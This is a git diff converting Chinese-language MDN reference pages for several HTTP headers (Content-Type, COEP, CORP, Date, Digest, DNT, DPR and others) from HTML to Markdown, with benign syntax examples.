    +  - : 指向与要保护的文件所在的源,包括相同的 URL scheme 与端口号。必须有单引号。一些浏览器会特意排除 blob 与 filesystem 。需要设定这两种内容类型的站点可以在 Data 属性中进行设定。
    +- `'unsafe-inline'`
    +  - : 允许使用内联资源,例如内联 {{HTMLElement("script")}} 元素(javascript: URL)、内联事件处理器以及内联 {{HTMLElement("style")}} 元素。必须有单引号。
    +- `'unsafe-eval'`
    +  - : 允许使用 eval() 以及相似的函数来从字符串创建代码。必须有单引号。
    +- `'none'`
    +  - : 不允许任何内容。 必须有单引号。
    +- 'nonce-\'
    +  - : 特定使用一次性加密内联脚本的白名单。服务器必须在每一次传输政策时生成唯一的一次性值。否则将存在绕过资源政策的可能。请参见[不安全的内联脚本](/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script)查看示例。
    +- \
    +  - : 使用 sha256、sha384 或 sha512 编码过的内联脚本或样式。其由用短划线分隔的两部分组成:用于创建哈希的加密算法,以及脚本或样式 base64 编码的哈希值。当生成哈希值的时候,不要包含 \
    +```
     
    -

    Specifications

    +## Specifications {{Specifications}} -

    Browser compatibility

    +## Browser compatibility -

    {{Compat}}

    +{{Compat}} -

    See also

    +## See also -
      -
    • {{HTTPHeader("Content-Security-Policy")}}
    • -
    • CSP for Web Workers
    • -
    • {{domxref("Worker")}}, {{domxref("SharedWorker")}}, {{domxref("ServiceWorker")}}
    • -
    +- {{HTTPHeader("Content-Security-Policy")}} +- [CSP for Web Workers](/docs/Web/API/Web_Workers_API/Using_web_workers#Content_security_policy) +- {{domxref("Worker")}}, {{domxref("SharedWorker")}}, {{domxref("ServiceWorker")}} diff --git a/files/zh-cn/web/http/headers/content-type/index.md b/files/zh-cn/web/http/headers/content-type/index.md index d8ca120a3e5366..07705bab40b124 100644 --- a/files/zh-cn/web/http/headers/content-type/index.md +++ b/files/zh-cn/web/http/headers/content-type/index.md @@ -11,64 +11,53 @@ tags: - multipart/form-data translation_of: Web/HTTP/Headers/Content-Type --- -
    {{HTTPSidebar}}
    - -

    Content-Type 实体头部用于指示资源的 MIME 类型 {{Glossary("MIME type","media type")}} 。

    - -

    在响应中,Content-Type 标头告诉客户端实际返回的内容的内容类型。浏览器会在某些情况下进行 MIME 查找,并不一定遵循此标题的值; 为了防止这种行为,可以将标题 {{HTTPHeader("X-Content-Type-Options")}} 设置为 nosniff

    - -

    在请求中 (如{{HTTPMethod("POST")}} 或 {{HTTPMethod("PUT")}}),客户端告诉服务器实际发送的数据类型。

    - - - - - - - - - - - - - - - - -
    Header type{{Glossary("Entity header")}}
    {{Glossary("Forbidden header name")}}no
    {{Glossary("Simple response header", "CORS-safelisted response-header")}}yes
    - -

    句法

    - -
    Content-Type: text/html; charset=utf-8
    +{{HTTPSidebar}}
    +
    +**`Content-Type`** 实体头部用于指示资源的 MIME 类型 {{Glossary("MIME type","media type")}} 。
    +
    +在响应中,Content-Type 标头告诉客户端实际返回的内容的内容类型。浏览器会在某些情况下进行 MIME 查找,并不一定遵循此标题的值; 为了防止这种行为,可以将标题 {{HTTPHeader("X-Content-Type-Options")}} 设置为 **nosniff**。
    +
    +在请求中 (如{{HTTPMethod("POST")}} 或 {{HTTPMethod("PUT")}}),客户端告诉服务器实际发送的数据类型。
    +
    +| Header type                                                                                      | {{Glossary("Entity header")}} |
    +| ------------------------------------------------------------------------------------------------ | ---------------------------------------- |
    +| {{Glossary("Forbidden header name")}}                                                 | no                                       |
    +| {{Glossary("Simple response header", "CORS-safelisted response-header")}} | yes                                      |
    +
    +## 句法
    +
    +```plain
    +Content-Type: text/html; charset=utf-8
     Content-Type: multipart/form-data; boundary=something
    -
    +``` -

    指令

    +## 指令 -
    -
    media-type
    -
    资源或数据的 MIME type
    -
    charset
    -
    字符编码标准。
    -
    boundary
    -
    对于多部分实体,boundary 是必需的,其包括来自一组字符的 1 到 70 个字符,已知通过电子邮件网关是非常健壮的,而不是以空白结尾。它用于封装消息的多个部分的边界。
    -
    +- `media-type` + - : 资源或数据的 [MIME type](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types) 。 +- charset + - : 字符编码标准。 +- boundary + - : 对于多部分实体,boundary 是必需的,其包括来自一组字符的 1 到 70 个字符,已知通过电子邮件网关是非常健壮的,而不是以空白结尾。它用于封装消息的多个部分的边界。 -

    例子

    +## 例子 -

    Content-Type 在 HTML 表单中

    +### `Content-Type` 在 HTML 表单中 -

    在通过 HTML form 提交生成的{{HTTPMethod("POST")}}请求中,请求头的 Content-Type 由{{HTMLElement("form")}}元素上的 enctype 属性指定

    +在通过 HTML form 提交生成的{{HTTPMethod("POST")}}请求中,请求头的 Content-Type 由{{HTMLElement("form")}}元素上的 enctype 属性指定 -
    <form action="/" method="post" enctype="multipart/form-data">
    -  <input type="text" name="description" value="some text">
    -  <input type="file" name="myFile">
    -  <button type="submit">Submit</button>
    -</form>
    -
    +```html +
    + + + +
    +``` -

    请求头看起来像这样(在这里省略了一些 headers):

    +请求头看起来像这样(在这里省略了一些 headers): -
    POST /foo HTTP/1.1
    +```plain
    +POST /foo HTTP/1.1
     Content-Length: 68137
     Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575
     
    @@ -81,21 +70,20 @@ Content-Disposition: form-data; name="myFile"; filename="foo.txt"
     Content-Type: text/plain
     
     (content of the uploaded file foo.txt)
    ----------------------------974767299852498929531610575
    +---------------------------974767299852498929531610575 +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    也可以看看

    +## 也可以看看 -
      -
    • {{HTTPHeader("Accept")}} and {{HTTPHeader("Accept-Charset")}}
    • -
    • {{HTTPHeader("Content-Disposition")}}
    • -
    • {{HTTPStatus("206")}} Partial Content
    • -
    • {{HTTPHeader("X-Content-Type-Options")}}
    • -
    +- {{HTTPHeader("Accept")}} and {{HTTPHeader("Accept-Charset")}} +- {{HTTPHeader("Content-Disposition")}} +- {{HTTPStatus("206")}} Partial Content +- {{HTTPHeader("X-Content-Type-Options")}} diff --git a/files/zh-cn/web/http/headers/cross-origin-embedder-policy/index.md b/files/zh-cn/web/http/headers/cross-origin-embedder-policy/index.md index 562e2d2297d5c6..5b4b7fc257cb5c 100644 --- a/files/zh-cn/web/http/headers/cross-origin-embedder-policy/index.md +++ b/files/zh-cn/web/http/headers/cross-origin-embedder-policy/index.md @@ -3,76 +3,67 @@ title: Cross-Origin-Embedder-Policy slug: Web/HTTP/Headers/Cross-Origin-Embedder-Policy translation_of: Web/HTTP/Headers/Cross-Origin-Embedder-Policy --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    HTTP Cross-Origin-Embedder-Policy (COEP) 响应标头可防止文档加载未明确授予文档权限 (通过 CORP或者 CORS) 的任何跨域资源 。

    +HTTP **`Cross-Origin-Embedder-Policy`** (COEP) 响应标头可防止文档加载未明确授予文档权限 (通过 [CORP]()或者 [CORS](/zh-CN/docs/Web/HTTP/CORS)) 的任何跨域资源 。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Cross-Origin-Embedder-Policy: unsafe-none | require-corp
    -
    +```plain +Cross-Origin-Embedder-Policy: unsafe-none | require-corp +``` -

    指令

    +### 指令 -
    -
    unsafe-none
    -
    这是默认值。允许文档获取跨源资源,而无需通过 CORS 协议或 {{HTTPHeader("Cross-Origin-Resource-Policy")}} 头。
    -
    require-corp
    -
    文档只能从相同的源加载资源,或显式标记为可从另一个源加载的资源。
    - 如果跨源资源支持 CORS,则 crossorigin 属性或 {{HTTPHeader("Cross-Origin-Resource-Policy")}} 头必须使用它来加载资源,而不会被 COEP 阻止。
    -
    +- `unsafe-none` + - : 这是默认值。允许文档获取跨源资源,而无需通过 CORS 协议或 {{HTTPHeader("Cross-Origin-Resource-Policy")}} 头。 +- `require-corp` + - : 文档只能从相同的源加载资源,或显式标记为可从另一个源加载的资源。 + 如果跨源资源支持 CORS,则 [`crossorigin`](/en-US/docs/Web/HTML/Attributes/crossorigin) 属性或 {{HTTPHeader("Cross-Origin-Resource-Policy")}} 头必须使用它来加载资源,而不会被 COEP 阻止。 -

    示例

    +## 示例 -

    某些功能取决于跨域隔离

    +### 某些功能取决于跨域隔离 -

    为了节省时间你可以只接受类似于{{jsxref("SharedArrayBuffer")}} 或者 {{domxref("Performance.now()")}} 对象,只要你的文档有一个值被设置为require-corp 的 COEP 头部。

    +为了节省时间你可以只接受类似于{{jsxref("SharedArrayBuffer")}} 或者 {{domxref("Performance.now()")}} 对象,只要你的文档有一个值被设置为`require-corp` 的 COEP 头部。 -
    Cross-Origin-Embedder-Policy: require-corp
    +```plain
    +Cross-Origin-Embedder-Policy: require-corp
     Cross-Origin-Opener-Policy: same-origin
    -
    +``` -

    你可以看看这个头部 {{HTTPHeader("Cross-Origin-Opener-Policy")}} ,这样你设置起来会做的更好。

    +你可以看看这个头部 {{HTTPHeader("Cross-Origin-Opener-Policy")}} ,这样你设置起来会做的更好。 -

    检查 cross origin isolation 是否成功,你可以再次测试crossOriginIsolated 这个属性 是否对窗口和工作的上下文有效:

    +检查 cross origin isolation 是否成功,你可以再次测试[`crossOriginIsolated`](/en-US/docs/Web/API/crossOriginIsolated) 这个属性 是否对窗口和工作的上下文有效: -
    if (crossOriginIsolated) {
    +```js
    +if (crossOriginIsolated) {
       // Post SharedArrayBuffer
     } else {
       // Do something else
    -}
    +} +``` -

    避免 CORS 阻塞 COEP

    +### 避免 CORS 阻塞 COEP -

    If you enable COEP using require-corp and have a cross origin resource that needs to be loaded, it needs to support CORS and you need to explicitly mark the resource as loadable from another origin to avoid blockage from COEP. For example, you can use the crossorigin attribute for this image from a third-party site:

    +If you enable COEP using `require-corp` and have a cross origin resource that needs to be loaded, it needs to support [CORS](/zh-CN/docs/Web/HTTP/CORS) and you need to explicitly mark the resource as loadable from another origin to avoid blockage from COEP. For example, you can use the [`crossorigin`](/en-US/docs/Web/HTML/Attributes/crossorigin) attribute for this image from a third-party site: -
    <img src="https://thirdparty.com/img.png" crossorigin>
    +```html + +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 +{{Compat}} +## 参阅 -

    {{Compat}}

    - -

    参阅

    - -
      -
    • {{httpheader("Cross-Origin-Opener-Policy")}}
    • -
    +- {{httpheader("Cross-Origin-Opener-Policy")}} diff --git a/files/zh-cn/web/http/headers/cross-origin-resource-policy/index.md b/files/zh-cn/web/http/headers/cross-origin-resource-policy/index.md index 444d7199ce2449..a1a519865a611b 100644 --- a/files/zh-cn/web/http/headers/cross-origin-resource-policy/index.md +++ b/files/zh-cn/web/http/headers/cross-origin-resource-policy/index.md @@ -9,49 +9,38 @@ tags: - header translation_of: Web/HTTP/Headers/Cross-Origin-Resource-Policy --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -
    -

    注意: 由于Chrome 浏览器中的一个 Bug, 设置 Cross-Origin-Resource-Policy(跨域资源策略)会使文件下载失败:当从设置了 CORP 请求头的资源服务器下载资源时,浏览器会阻止用户使用“保存”或“另存为”按钮将文件保存到本地。在决定生产环境中是否使用这一特性(CORP)之前需要慎重考虑。

    -
    +> **备注:** 由于[Chrome 浏览器中的一个 Bug](https://bugs.chromium.org/p/chromium/issues/detail?id=952834), 设置 Cross-Origin-Resource-Policy(跨域资源策略)会使文件下载失败:当从设置了 CORP 请求头的资源服务器下载资源时,浏览器会阻止用户使用“保存”或“另存为”按钮将文件保存到本地。在决定生产环境中是否使用这一特性(CORP)之前需要慎重考虑。 -

    Cross-Origin-Resource-Policy 响应头会指示浏览器阻止对指定资源的无源跨域/跨站点请求。

    +**`Cross-Origin-Resource-Policy`** 响应头会指示浏览器阻止对指定资源的无源跨域/跨站点请求。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Cross-Origin-Resource-Policy: same-site | same-origin
    -
    +```plain +Cross-Origin-Resource-Policy: same-site | same-origin +``` -

    案例

    +## 案例 -

    下面的响应头会导致兼容该响应头的用户代理禁止跨域访问和跨域资源共享:

    +下面的响应头会导致兼容该响应头的用户代理禁止跨域访问和跨域资源共享: -
    Cross-Origin-Resource-Policy: same-origin
    -
    +```plain +Cross-Origin-Resource-Policy: same-origin +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关文章

    +## 相关文章 - +- [Cross-Origin Resource Policy (CORP) explainer]() diff --git a/files/zh-cn/web/http/headers/date/index.md b/files/zh-cn/web/http/headers/date/index.md index 27ac5315bba3f5..fcdfd6fde1a0b7 100644 --- a/files/zh-cn/web/http/headers/date/index.md +++ b/files/zh-cn/web/http/headers/date/index.md @@ -8,66 +8,53 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Date --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Date 是一个通用首部,其中包含了报文创建的日期和时间。

    +**`Date `**是一个通用首部,其中包含了报文创建的日期和时间。 - - - - - - - - - - - -
    Header type{{Glossary("General header")}}
    {{Glossary("Forbidden header name")}}yes
    +| Header type | {{Glossary("General header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | -

    语法

    +## 语法 -
    Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT
    -
    +```plain +Date: , :: GMT +``` -

    指令

    +## 指令 -
    -
    <day-name>
    -
    "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", 或 "Sun" 之一(区分大小写)。
    -
    <day>
    -
    2 位数字表示天数,例如, "04" 或 "23"。
    -
    <month>
    -
    "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 之一(区分大小写)。
    -
    <year>
    -
    4 位数字表示年份,例如, "1990" 或 "2016"。
    -
    <hour>
    -
    2 位数字表示小时数,例如, "09" 或 "23"。
    -
    <minute>
    -
    2 位数字表示分钟数,例如, "04" 或 "59"。
    -
    <second>
    -
    2 位数字表示秒数,例如, "04" 或 "59"。
    -
    GMT
    -
    -

    格林尼治标准时间。 在 HTTP 协议中,时间都是用格林尼治标准时间来表示的,而不是本地时间。

    -
    -
    +- \ + - : "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", 或 "Sun" 之一(区分大小写)。 +- \ + - : 2 位数字表示天数,例如, "04" 或 "23"。 +- \ + - : "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 之一(区分大小写)。 +- \ + - : 4 位数字表示年份,例如, "1990" 或 "2016"。 +- \ + - : 2 位数字表示小时数,例如, "09" 或 "23"。 +- \ + - : 2 位数字表示分钟数,例如, "04" 或 "59"。 +- \ + - : 2 位数字表示秒数,例如, "04" 或 "59"。 +- GMT + - : 格林尼治标准时间。 在 HTTP 协议中,时间都是用格林尼治标准时间来表示的,而不是本地时间。 -

    示例

    +## 示例 -
    Date: Wed, 21 Oct 2015 07:28:00 GMT
    -
    +```plain +Date: Wed, 21 Oct 2015 07:28:00 GMT +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("Age")}}
    • -
    +- {{HTTPHeader("Age")}} diff --git a/files/zh-cn/web/http/headers/device-memory/index.md b/files/zh-cn/web/http/headers/device-memory/index.md index 1ad2cbce3673b3..6d1764f2db734b 100644 --- a/files/zh-cn/web/http/headers/device-memory/index.md +++ b/files/zh-cn/web/http/headers/device-memory/index.md @@ -3,61 +3,51 @@ title: Device-Memory slug: Web/HTTP/Headers/Device-Memory translation_of: Web/HTTP/Headers/Device-Memory --- -
    {{HTTPSidebar}}{{securecontext_header}}{{SeeCompatTable}}
    +{{HTTPSidebar}}{{securecontext_header}}{{SeeCompatTable}} -

    Device-Memory 是一个跟 Device Memory API 相关的请求头,它跟 Client Hints 请求头的作用相似,用来表示客户端设备内存的近似大小。

    +**`Device-Memory`** 是一个跟 [Device Memory API](/zh-CN/docs/Web/API/Device_Memory_API) 相关的请求头,它跟 [Client Hints](/zh-CN/docs/Glossary/Client_hints) 请求头的作用相似,用来表示客户端设备内存的近似大小。 - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}?
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | ? | -
    -

    Note: Client Hints are accessible only on secure origins (via TLS). Server has to opt in to receive Device-Memory header from the client by sending {{HTTPHeader("Accept-CH")}} and {{HTTPHeader("Accept-CH-Lifetime")}} response headers.

    -
    +> **备注:** Client Hints are accessible only on secure origins (via TLS). Server has to opt in to receive `Device-Memory` header from the client by sending {{HTTPHeader("Accept-CH")}} and {{HTTPHeader("Accept-CH-Lifetime")}} response headers. -

    语法

    +## 语法 -

    设备的内存大小可能会被用作指纹变量,因此将这个取值设置的比较粗糙,以减少滥用它的可能性。 请求头采用以下值:0.25、0.5、1、2、4、8。

    +设备的内存大小可能会被用作指纹变量,因此将这个取值设置的比较粗糙,以减少滥用它的可能性。 请求头采用以下值:0.25、0.5、1、2、4、8。 -
    Device-Memory: <number>
    -
    +```plain +Device-Memory: +``` -

    示例

    +## 示例 -

    服务器需要先发送包含 Device-Memory 的 {{HTTPHeader("Accept-CH")}} 和 {{HTTPHeader("Accept-CH-Lifetime")}} 响应头,来表明可以接收 Device-Memory 请求头。

    +服务器需要先发送包含 `Device-Memory` 的 {{HTTPHeader("Accept-CH")}} 和 {{HTTPHeader("Accept-CH-Lifetime")}} 响应头,来表明可以接收 `Device-Memory` 请求头。 -
    Accept-CH: Device-Memory
    +```plain
    +Accept-CH: Device-Memory
     Accept-CH-Lifetime: 86400
    -
    +``` -

    接下来客户端发送的请求则可能会包含 Device-Memory 请求头:

    +接下来客户端发送的请求则可能会包含 `Device-Memory` 请求头: -
    Device-Memory: 1
    -
    +```plain +Device-Memory: 1 +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 -
      -
    • Device Memory API
    • -
    • {{HTTPHeader("Accept-CH")}}
    • -
    • {{HTTPHeader("Accept-CH-Lifetime")}}
    • -
    • {{HTTPHeader("Vary")}}
    • -
    • {{DOMxRef("Navigator.deviceMemory")}}
    • -
    +- [Device Memory API](/zh-CN/docs/Web/API/Device_Memory_API) +- {{HTTPHeader("Accept-CH")}} +- {{HTTPHeader("Accept-CH-Lifetime")}} +- {{HTTPHeader("Vary")}} +- {{DOMxRef("Navigator.deviceMemory")}} diff --git a/files/zh-cn/web/http/headers/digest/index.md b/files/zh-cn/web/http/headers/digest/index.md index 2eb30fdc7723de..b4e9f61574ff9c 100644 --- a/files/zh-cn/web/http/headers/digest/index.md +++ b/files/zh-cn/web/http/headers/digest/index.md @@ -6,68 +6,56 @@ tags: - HTTP Header translation_of: Web/HTTP/Headers/Digest --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Digest 响应 HTTP 头提供了请求资源一个 {{Glossary("摘要")}} 。

    +**`Digest`** 响应 HTTP 头提供了请求资源一个 {{Glossary("摘要")}} 。 -

    RFC 7231 术语中,它是一个资源的选定表示。这个选定代表依赖于 Content-TypeContent-Encoding 头部值:所以一个单一的资源可能有多个不同的摘要值。

    +在 [RFC 7231](https://tools.ietf.org/html/rfc7231) 术语中,它是一个资源的选定表示。这个选定代表依赖于 [`Content-Type`](/en-US/docs/Web/HTTP/Headers/Content-Type) 和 [`Content-Encoding`](/en-US/docs/Web/HTTP/Headers/Content-Encoding) 头部值:所以一个单一的资源可能有多个不同的摘要值。 -

    摘要是整个表示的计算。这个表示可以是:

    +摘要是整个表示的计算。这个表示可以是: -
      -
    • 完全包含在响应消息体中
    • -
    • 完全不包含在消息体中中 (例如,在一个 HEAD 请求的响应中)
    • -
    • 部分包含在消息体中 (例如,在一个 range request 的响应中)。
    • -
    +- 完全包含在响应消息体中 +- 完全不包含在消息体中中 (例如,在一个 [`HEAD`](/en-US/docs/Web/HTTP/Methods/HEAD) 请求的响应中) +- 部分包含在消息体中 (例如,在一个 [range request](/zh-CN/docs/Web/HTTP/Range_requests) 的响应中)。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Digest: <digest-algorithm>=<digest-value>
    +```plain
    +Digest: =
     
    -Digest: <digest-algorithm>=<digest-value>,<digest-algorithm>=<digest-value>
    -
    +Digest: =,= +``` -

    指令

    +## 指令 -
    -
    <digest-algorithm>
    -
    已支持的摘要算法在 RFC 3230RFC 5843,中定义,包括 SHA-256SHA-512。一些支持的算法 (如 unixsumMD5) 容易发生冲突,因此不适合冲突阻力很重要的应用。
    -
    <digest-value>
    -
    对资源表示的摘要算法的结果和编码的结果。摘要算法的选择决定了编码类型:例如 SHA-256 用 base64 编码。
    -
    +- `` + - : 已支持的摘要算法在 [RFC 3230](https://tools.ietf.org/html/rfc3230) 和 [RFC 5843](https://tools.ietf.org/html/rfc5843),中定义,包括 `SHA-256` 和 `SHA-512`。一些支持的算法 (如 `unixsum` 和 `MD5`) 容易发生冲突,因此不适合冲突阻力很重要的应用。 +- `` + - : 对资源表示的摘要算法的结果和编码的结果。摘要算法的选择决定了编码类型:例如 `SHA-256` 用 base64 编码。 -

    示例

    +## 示例 -
    Digest: sha-256=X48E9qOokqqrvdts8nOJRJN3OWDUoyWxBf7kbu9DBPE=
    -Digest: sha-256=X48E9qOokqqrvdts8nOJRJN3OWDUoyWxBf7kbu9DBPE=,unixsum=30637
    +```plain +Digest: sha-256=X48E9qOokqqrvdts8nOJRJN3OWDUoyWxBf7kbu9DBPE= +Digest: sha-256=X48E9qOokqqrvdts8nOJRJN3OWDUoyWxBf7kbu9DBPE=,unixsum=30637 +``` -

    规范

    +## 规范 {{Specifications}} -

    该头最初在 RFC 3230 中定义,但在 RFC 7231 里的 "选中的表示" 定义使原始定与当前 HTTP 规范中不一致。发布时,"HTTP 资源摘要" 草案将废弃 RFC 3230 并将更新标准以保持一致。

    +该头最初在 [RFC 3230](https://tools.ietf.org/html/rfc3230) 中定义,但在 [RFC 7231](https://www.rfc-editor.org/info/rfc7231) 里的 "选中的表示" 定义使原始定与当前 HTTP 规范中不一致。发布时,"HTTP 资源摘要" 草案将废弃 RFC 3230 并将更新标准以保持一致。 -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 - +- {{HTTPHeader("Want-Digest")}} +- [HTTP range requests](/zh-CN/docs/Web/HTTP/Range_requests) +- [`206 Partial Content`](/zh-CN/docs/Web/HTTP/Status/206) diff --git a/files/zh-cn/web/http/headers/dnt/index.md b/files/zh-cn/web/http/headers/dnt/index.md index 3fdd1b2a068ac2..fe23950a2a4cf0 100644 --- a/files/zh-cn/web/http/headers/dnt/index.md +++ b/files/zh-cn/web/http/headers/dnt/index.md @@ -8,66 +8,54 @@ tags: - 隐私 translation_of: Web/HTTP/Headers/DNT --- -
    {{HTTPSidebar}}
    - -

    请求首部 DNT (Do Not Track) 表明了用户对于网站追踪的偏好。它允许用户指定自己是否更注重个人隐私还是定制化内容。

    - - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}yes
    - -

    语法

    - -
    DNT: 0
    +{{HTTPSidebar}}
    +
    +请求首部 **`DNT`** (**D**o **N**ot **T**rack) 表明了用户对于网站追踪的偏好。它允许用户指定自己是否更注重个人隐私还是定制化内容。
    +
    +| Header type                                      | {{Glossary("Request header")}} |
    +| ------------------------------------------------ | ---------------------------------------- |
    +| {{Glossary("Forbidden header name")}} | yes                                      |
    +
    +## 语法
    +
    +```plain
    +DNT: 0
     DNT: 1
    -
    +``` -

    指令

    +## 指令 -
    -
    0
    -
    表示用户愿意目标站点追踪用户个人信息。
    -
    1
    -
    表示用户不愿意目标站点追踪用户个人信息。
    -
    +- 0 + - : 表示用户愿意目标站点追踪用户个人信息。 +- 1 + - : 表示用户不愿意目标站点追踪用户个人信息。 -

    示例

    +## 示例 -

    使用 JavaScript 读取 “不追踪”(Do Not Track)状态

    +### 使用 JavaScript 读取 “不追踪”(Do Not Track)状态 -

    用户对 DNT 的设置还可以使用 {{domxref("Navigator.doNotTrack")}} 属性进行读取:

    +用户对 DNT 的设置还可以使用 {{domxref("Navigator.doNotTrack")}} 属性进行读取: -
    navigator.doNotTrack; // "0" or "1"
    +```js +navigator.doNotTrack; // "0" or "1" +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    - -

    {{Compat}}

    - -

    相关内容

    - - +## 浏览器兼容性 + +{{Compat}} + +## 相关内容 + +- {{domxref("Navigator.doNotTrack")}} +- {{HTTPHeader("Tk")}} header +- [Do Not Track on Wikipedia](https://en.wikipedia.org/wiki/Do_Not_Track) +- ["Do Not Track"中的"Track"指什么?– EFF](https://www.eff.org/deeplinks/2011/02/what-does-track-do-not-track-mean) +- [donottrack.us](http://donottrack.us/) +- DNT 浏览器设置帮助: + + - [Firefox](https://www.mozilla.org/en-US/firefox/dnt/) + - [Chrome](https://support.google.com/chrome/answer/2790761) diff --git a/files/zh-cn/web/http/headers/dpr/index.md b/files/zh-cn/web/http/headers/dpr/index.md index 22cab3f3fcd253..da6469bd2b2647 100644 --- a/files/zh-cn/web/http/headers/dpr/index.md +++ b/files/zh-cn/web/http/headers/dpr/index.md @@ -3,53 +3,43 @@ title: DPR slug: Web/HTTP/Headers/DPR translation_of: Web/HTTP/Headers/DPR --- -
    {{HTTPSidebar}}{{securecontext_header}}{{SeeCompatTable}}
    +{{HTTPSidebar}}{{securecontext_header}}{{SeeCompatTable}} -

    DPR请求头是“ 客户端提示”消息头,它代表客户端设备的像素比 ({{Glossary("DPR")}}),该比例是与每个 CSS 像素相对应的物理设备像素的数量。

    +**`DPR`**请求头是“ [客户端提示”](/zh-CN/docs/Glossary/Client_hints)消息头,它代表客户端设备的像素比 ({{Glossary("DPR")}}),该比例是与每个 CSS 像素相对应的物理设备像素的数量。 - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}?
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | ? | -
    -

    Note: Client Hints are accessible only on secure origins (via TLS). Server has to opt in to receive DPR header from the client by sending {{HTTPHeader("Accept-CH")}} and {{HTTPHeader("Accept-CH-Lifetime")}} response headers.

    -
    +> **备注:** Client Hints are accessible only on secure origins (via TLS). Server has to opt in to receive `DPR` header from the client by sending {{HTTPHeader("Accept-CH")}} and {{HTTPHeader("Accept-CH-Lifetime")}} response headers. -

    语法

    +## 语法 -
    DPR: <number>
    -
    +```plain +DPR: +``` -

    示例

    +## 示例 -

    Server first needs to opt in to receive DPR header by sending the response headers {{HTTPHeader("Accept-CH")}} containing DPR and {{HTTPHeader("Accept-CH-Lifetime")}}.

    +Server first needs to opt in to receive `DPR` header by sending the response headers {{HTTPHeader("Accept-CH")}} containing `DPR` and {{HTTPHeader("Accept-CH-Lifetime")}}. -
    Accept-CH: DPR
    +```plain
    +Accept-CH: DPR
     Accept-CH-Lifetime: 86400
    -
    +``` -

    Then on subsequent requests the client might send DPR header back:

    +Then on subsequent requests the client might send `DPR` header back: -
    DPR: 1.0
    -
    +```plain +DPR: 1.0 +``` -

    浏览器兼容

    +## 浏览器兼容 -

    {{Compat("http.headers.DPR")}}

    +{{Compat("http.headers.DPR")}} -

    参见

    +## 参见 -
      -
    • {{HTTPHeader("Accept-CH")}}
    • -
    • {{HTTPHeader("Accept-CH-Lifetime")}}
    • -
    • {{HTTPHeader("Vary")}}
    • -
    +- {{HTTPHeader("Accept-CH")}} +- {{HTTPHeader("Accept-CH-Lifetime")}} +- {{HTTPHeader("Vary")}} diff --git a/files/zh-cn/web/http/headers/early-data/index.md b/files/zh-cn/web/http/headers/early-data/index.md index 970781c3a5b204..55fcbd85c80f25 100644 --- a/files/zh-cn/web/http/headers/early-data/index.md +++ b/files/zh-cn/web/http/headers/early-data/index.md @@ -3,38 +3,32 @@ title: Early-Data slug: Web/HTTP/Headers/Early-Data translation_of: Web/HTTP/Headers/Early-Data --- -
    {{SeeCompatTable}}{{HTTPSidebar}}
    +{{SeeCompatTable}}{{HTTPSidebar}} -

    Early-Data 头(header)由某个中间者设置来表示请求已在 TLS early data 中传送 ,且表示 某个中间者理解 {{HTTPStatus("425", "425 (Too Early)")}} 状态码。Early-Data 头(header)不由请求的发起者设置 (例如,浏览器)。

    +**`Early-Data`** 头(header)由某个中间者设置来表示请求已在 TLS early data 中传送 ,且表示 某个中间者理解 {{HTTPStatus("425", "425 (Too Early)")}} 状态码。**`Early-Data`** 头(header)不由请求的发起者设置 (例如,浏览器)。 - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Early-Data: 1
    -
